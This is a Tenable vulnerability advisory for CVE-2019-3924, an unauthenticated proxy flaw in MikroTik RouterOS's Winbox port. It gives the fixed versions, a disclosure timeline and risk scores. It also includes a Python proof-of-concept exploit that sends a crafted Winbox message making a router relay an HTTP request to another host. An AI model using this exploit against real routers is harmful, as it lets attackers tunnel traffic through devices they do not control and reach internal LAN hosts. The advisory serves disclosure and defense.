Facebook Google Plus Twitter LinkedIn YouTube RSS Menu Search Resource - BlogResource - WebinarResource - ReportResource - Eventicons_066 icons_067icons_068icons_069icons_070

MikroTik RouterOS Unauthenticated Intermediary

Medium

Synopsis

MikroTik's The Dude has a network discovery feature that sends user defined probes to discover network services. There are various pre-defined probes for HTTP, FTP, Telnet, etc.

This network scanning feature also supports "recursive scanning" in which probes can be proxied through MikroTik's Winbox port (8291). Tenable discovered that authentication was not enforced on these proxied probe requests. Therefore, an unauthenticated remote attacker could use a MikroTik router to proxy arbitrary traffic. Furthermore, attackers on the WAN can use this feature to send requests to hosts on the LAN.

There are a couple of limitations to MikroTik's probe functionality. A probe only supports up to three requests and responses. Also, the response is not relayed back to the requesting client. The response is instead matched against a regular expression defined in the probe format.

The following proof of concept sends an HTTP GET request to a public IP address and matches the response against "^HTTP/1.1 200 ok\r\nServer: micro_httpd."

import argparse
import socket

if __name__ == '__main__':

    cmd_parser = argparse.ArgumentParser(description="PoC")
    cmd_parser.add_argument("-i", "--ip", action="store", dest="ip", required=True, help="Router IP")
    cmd_parser.add_argument("-p", "--port", action="store", dest="port", type=int, help="Winbox Port", default="8291")
    cmd_parser.add_argument("-n", "--name", action="store", dest="name", help="The new hostname")
    args = cmd_parser.parse_args()

    # Connect to Mikrotik router
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print "[+] Attempting connection to " + args.ip + ":" + str(args.port)
    sock.connect((args.ip, args.port))
    print "[+] Connected!"

    request = ('\x9e\x01\x00\x9c\x4d\x32\x05\x00\xff\x01\x03\x00\x00\x08\x42\xfc\x7b\x5a\x04'
               '\x00\x00\x09\x50\x06\x00\xff\x09\x01\x07\x00\xff\x09\x01\x07\x00\x00\x21\x46'
               'GET / HTTP/1.1\r\nHost: 66.252.123.90\r\nUser-Agent: Oops\r\nAccept: */*\r\n'
               '\r\n\x08\x00\x00\x21\x25^HTTP/1.1 200 Ok\r\nServer: micro_httpd\x01\x00\xff'
               '\x88\x01\x00\x68\x00\x00\x00')

sock.sendall(request)
resp = sock.recv(1024)
print '<- ' + resp
sock.close()

Solution

Long term release users should upgrade to 6.42.12 or newer. Stable release should upgrade to 6.43.12 or newer.

Disclosure Timeline

02/04/2019 - Tenable asks Mikrotik support for the correct disclosure contact.
02/05/2019 - Mikrotik indicates that support is the correct channel.
02/05/2019 - Tenable discloses. 90 day is May 7, 2019.
02/08/2019 - Mikrotik confirms the vulnerability. Asks Tenable for a CVE.
02/08/2019 - Tenable assigns CVE-2019-3924.
02/12/2019 - Mikrotik informs Tenable of the patch release.
02/12/2019 - Tenable confirms the fix.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2019-3924
Tenable Advisory ID: TRA-2019-07
Credit:
Jacob Baines
CVSSv2 Base / Temporal Score:
5.0 / 4.4
CVSSv2 Vector:
AV:N/AC:L/Au:N/C:P/I:N/A:N
Affected Products:
RouterOS 6.42.11 and below
RouterOS 6.43.11 and below
Risk Factor:
Medium
Additional Keywords:
CWE-441

Advisory Timeline

02-12-2019 - Initial Release